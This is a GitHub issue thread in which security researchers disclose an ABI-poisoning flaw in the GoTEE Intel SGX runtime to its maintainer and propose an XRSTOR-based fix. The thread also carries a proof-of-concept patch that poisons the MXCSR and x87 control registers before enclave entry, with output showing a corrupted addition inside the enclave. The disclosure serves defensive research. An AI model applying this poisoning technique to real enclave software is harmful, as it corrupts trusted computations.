Prevent ABI poisoning through FPU/SSE registers

[jovanbulck]

Hi,

First off, thanks for open sourcing your interesting work! In the context of a larger security evaluation of Intel SGX runtimes, together with colleagues from KU Leuven and the Universtity of Birmingham, we have found a subtle ABI sanitization issue in GoTEE's low-level assembly entry code. As you wrote that GoTEE is research prototype under active development, and not suited for production environments, we wanted to reach out to you in this way and inform about a possible fix.

Vulnerability description

Lack of sanitization of hidden x87 FPU (control word and tag) and SSE (mxcsr) control registers in the trusted enclave runtime, allowing unprivileged adversaries in the containing host application to influence the rounding, precision, and outcome of enclaved floating point operations. The vulnerability applies to ABI-compliant compiled enclave application code that uses x87 FPU or SSE features (i.e., compiled Go code and/or trusted asm/C libraries included in the enclave). We include a minimal proof-of-concept attack to demonstrate the vulnerability below.

This issue is similar to our previously disclosed vulnerabilities in the Intel SGX-SDK (CVE-2020-0561) and OpenEnclave (CVE-2020-15107):

https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00336.html
GHSA-7wjx-wcwg-w999

For a more general overview of trusted runtime ABI and API sanitization responsibilities, excluding floating-point issues, we refer to our CCS19 Tale of 2 Worlds paper. This paper also describes an ABI sanitization issue with the x86 direction flag that might apply to GoTEE as well:

https://jovanbulck.github.io/files/ccs19-tale.pdf

Proposed mitigation

The trusted runtime in the enclave (src/runtime/asm_amd64.s) should always properly initialize all low-level CPU state according to the ABI-level calling conventions expected by the compiler. For reference, we repeat the relevant System V ABI snippet below:

The CPU shall be in x87 mode upon entry to a function. Therefore, every function that uses the MMX registers is required to issue an emms or femms instruction after using MMX registers, before returning or calling another function. [...] The control bits of the MXCSR register are callee-saved (preserved across calls), while the status bits are caller-saved (not preserved). The x87 status word register is caller-saved, whereas the x87 control word is callee-saved.


Given that this issue once again shows the intricacy of extended state, we strongly recommend to properly initialize all extended state to sane predefined values through an XRSTOR instruction on enclave entry, as a more complete and hopefully future-proof option. 
For reference, this is also the mitigation that Intel and Microsoft adopted in response to our recommendations for more principled ABI sanitization:


https://github.com/intel/linux-sgx/blob/sgx_2.9.1/sdk/trts/linux/trts_pic.S#L164
openenclave/openenclave@ad57b94

Let us know if you have any questions or comments and we would be happy to clarify!

Kind regards,
Jo Van Bulck (imec-DistriNet, KU Leuven)
Fritz Alder (imec-DistriNet, KU Leuven)
David Oswald (The University of Birmingham, UK)
Frank Piessens (imec-DistriNet, KU Leuven)

Proof-of-concept ABI poisoning attack

The patch below demonstrates a minimal PoC demonstrating x87 and SSE poisoning on top of the current master.

diff --git a/README.md b/README.md
index 066a550..1078072 100644
--- a/README.md
+++ b/README.md
@@ -35,6 +35,15 @@ Gotee only supports linux x86 platforms.
 
 Gotee has one dependency on a [serializer](https://github.com/aghosn/serializer), required to communicate with the Intel AESM module. This package must be installed and the `serializer` command available in your shell environment (`go install` command).
 
+```
+$ go get github.com/aghosn/serializer
+$ PATH=$PATH:$HOME/go/bin
+$ sudo make
+$ cd example/
+$ make
+$ ./main
+```
+
 Moreover, you need to have an SGX enabled processor with the Intel AESM enclave running (for more information about how to set up Intel SGX, go to Intel SGX SDK [repositories](https://github.com/intel/linux-sgx).
 The Intel SGX SDK itself is not required.
 
diff --git a/example/hello-world/.gitignore b/example/hello-world/.gitignore
new file mode 100644
index 0000000..9dadae2
--- /dev/null
+++ b/example/hello-world/.gitignore
@@ -0,0 +1,2 @@
+enclavebin
+main
diff --git a/example/hello-world/README.md b/example/hello-world/README.md
index d4f405f..0d87c98 100644
--- a/example/hello-world/README.md
+++ b/example/hello-world/README.md
@@ -2,6 +2,43 @@
 
 This folder contains a hello-world sample code that executes a print from both the untrusted and trusted domains.
 
+## FPU poisoning PoC
+
+```
+jo@breuer:~/Documents/gotee/example/hello-world$ ./main 
+From an untrusted domain:
+Hello World!
+[ENTRY] Control Word: 0x37f
+[ENTRY] MXCSR: 0x1fa0
+From a trusted domain:
+Hello World!
+[ENTRY] Control Word: 0x1f7f
+[ENTRY] MXCSR: 0xffff
+```
+
+Faulty result for `VADDPD` when poisoning denormals-as-zero MXCSR flag:
+
+```
+jo@breuer:~/Documents/gotee/example/hello-world$ ./main 
+From an untrusted domain:
+Hello World!
+[ENTRY] Control Word: 0x37f
+[ENTRY] MXCSR: 0x1fa0
+
+Add(1,2) is 3
+[EXIT] Control Word: 0x37f
+[EXIT] MXCSR: 0x1fa2
+--
+From a trusted domain:
+Hello World!
+[ENTRY] Control Word: 0x1f7f
+[ENTRY] MXCSR: 0x1fe0
+
+Add(1,2) is 0
+[EXIT] Control Word: 0x1f7f
+[EXIT] MXCSR: 0x1fe0
+```
+
 ## Compiling
 
 Just type `make` in `example/hello-world/`.
diff --git a/example/hello-world/src/hw/asm.s b/example/hello-world/src/hw/asm.s
new file mode 100644
index 0000000..b3b1bcd
--- /dev/null
+++ b/example/hello-world/src/hw/asm.s
@@ -0,0 +1,23 @@
+DATA op1+0x00(SB)/8, $1
+DATA op1+0x08(SB)/8, $0
+GLOBL op1(SB), 8, $32
+
+DATA op2+0x00(SB)/8, $2
+DATA op2+0x08(SB)/8, $0
+GLOBL op2(SB), 8, $32
+
+TEXT ·do_add(SB),$0-24
+    VMOVUPS op1(SB), X1
+    VMOVUPS op2(SB), X2
+    VADDPD X1, X2, X3
+    VMOVUPS X3, ret+16(FP)
+    
+    RET
+
+TEXT ·get_fcw(SB),$0-0
+    FSTCW ret+0(FP)
+    RET
+
+TEXT ·get_mxcsr(SB),$0-0
+    STMXCSR ret+0(FP)
+    RET
diff --git a/example/hello-world/src/hw/impl.go b/example/hello-world/src/hw/impl.go
index 78944e2..a35e5b4 100644
--- a/example/hello-world/src/hw/impl.go
+++ b/example/hello-world/src/hw/impl.go
@@ -1,8 +1,24 @@
 package hw
 
-import "fmt"
+import (
+	"fmt"
+	//"math"
+)
+
+func do_add(a int64, b int64) int64
+func get_fcw() uint16
+func get_mxcsr() uint16
 
 func HelloWorld(done chan bool) {
 	fmt.Println("Hello World!")
+
+        fmt.Printf("[ENTRY] Control Word: %#x\n", get_fcw())
+        fmt.Printf("[ENTRY] MXCSR: %#x\n", get_mxcsr())
+
+	fmt.Println("\nAdd(1,2) is", do_add(1,2))
+
+        fmt.Printf("[EXIT] Control Word: %#x\n", get_fcw())
+        fmt.Printf("[EXIT] MXCSR: %#x\n", get_mxcsr())
+
 	done <- true
 }
diff --git a/example/hello-world/src/main.go b/example/hello-world/src/main.go
index f3a1d7a..dd1f019 100644
--- a/example/hello-world/src/main.go
+++ b/example/hello-world/src/main.go
@@ -15,7 +15,7 @@ func main() {
 	<-done
 
 	// Now a secured routine
-	fmt.Println("From a trusted domain:")
+	fmt.Println("--\nFrom a trusted domain:")
 	gosecure hw.HelloWorld(done)
 	<- done
 }
diff --git a/src/gosec/assembly_amd64.s b/src/gosec/assembly_amd64.s
index 3b31953..113d84e 100644
--- a/src/gosec/assembly_amd64.s
+++ b/src/gosec/assembly_amd64.s
@@ -2,9 +2,23 @@
 
 // func asm_eenter(tcs, xcpt, rdi, rsi uint64)
 TEXT gosec·asm_eenter(SB),$0-40
+
+    /* XXX Poison MXCSR */
+    //MOVQ $0xFFFF, AX 
+    MOVQ $0x1FC0, AX 
+    PUSHQ AX
+    LDMXCSR (SP)
+    POPQ AX
+ 
+    /* XXX Poison FPUCW */
+    MOVQ $0x1f3f, AX
+    PUSHQ AX
+    FLDCW (SP)
+    POPQ AX
+
     MOVQ $2, AX				//EENTER
     MOVQ tcs+0(FP),BX
-    MOVQ xcpt+8(FP), CX
+    MOVQ xcpt+8(FP), CX   
     BYTE $0x0f; BYTE $0x01; BYTE $0xd7 //ENCLU EENTER
     MOVQ rdi+16(FP), AX
     MOVQ DI, (AX)

[aghosn]

Hi!
Thank you for the feedback, and sorry for taking time to reply, I had another project deadline.
I will carefully look into the issue and fix it.
You can reach privately if you need anything.

[jovanbulck]

Hi Adrien,

Wanted to briefly follow up: we made an updated proof-of-concept and some more information on the issue and different SGX runtimes available here (part of an ongoing artifact evaluation):

https://github.com/fritzalder/faulty-point-unit/tree/master/02_table2_affected_runtimes

Let us know if you have any questions! As I wrote above, and as is also more detailed in the linked repository and the fixes implemented by Intel and Microsoft, we strongly advise to rule out this class of vulnerabilities entirely by doing a full xrstor with dummy CPU state on enclave entry. We'll be finishing the paper camready by September 28, so let us know (here or via email) if you'd like us to update Table2 with a (planned or finished) mitigation for Go-TEE?

[aghosn]

Hi,
Thanks for the follow-up. I had an overloaded agenda the past few weeks (and now I'm on a break), but I will start looking at the mitigation next week (so it is definitely planned). I will keep you posted.
Thanks again, and good luck (and congrats) for the camera ready!

[jovanbulck]

Thanks, sounds great. Enjoy your break this week! 🌞

[aghosn]

Hi,
I had a look into it this week, thanks again for reporting that issue.
I have a partial fix relying on xrstore, but ran into Go peculiarities about de-referencing global arrays that requires a bit more work to make sure the cleanup of xstate is done everywhere it is needed.
I'll leave the issue opened until I make sure all corner cases are covered.
Best,
Adrien

[jovanbulck]

Hi Adrien,

Thanks for the update, the xrstor approach seems indeed the best way to address the issue. We'll update the table in the camready paper to indicate GoTEE adopts this mitigation approach.

I was not aware that GoTEE also offers a simulation mode, very nice work! 👍 It took a bit of time to figure out how to modify the simulation runtime (and some failed attempts with function pointers and horrible Go assembler ;-) ), but I managed to update our ABI poisoning PoC to also work in the simulator. We setup full Travis-CI integration for the ongoing ACSAC artifact evaluation, so you should be able to see the full attack simulation here:

https://travis-ci.org/github/fritzalder/faulty-point-unit/jobs/725653061

Btw, as part of the CI, we automatically build and run GoTEE in a Docker container. If you're interested to add continuous integration to your GoTEE repo, please feel free to re-use any parts of our Travis-CI script as you see fit!

https://github.com/fritzalder/faulty-point-unit/blob/master/.travis.yml#L47

[aghosn]

Awesome, I'll have a look.
Yes the simulation environment was my approach to debugging things more easily (as I was the only one working on this project and discovering sgx intricacies). It's not perfect as it doesn't follow exactly the same paths as SGX mode.
Good luck with the camera ready!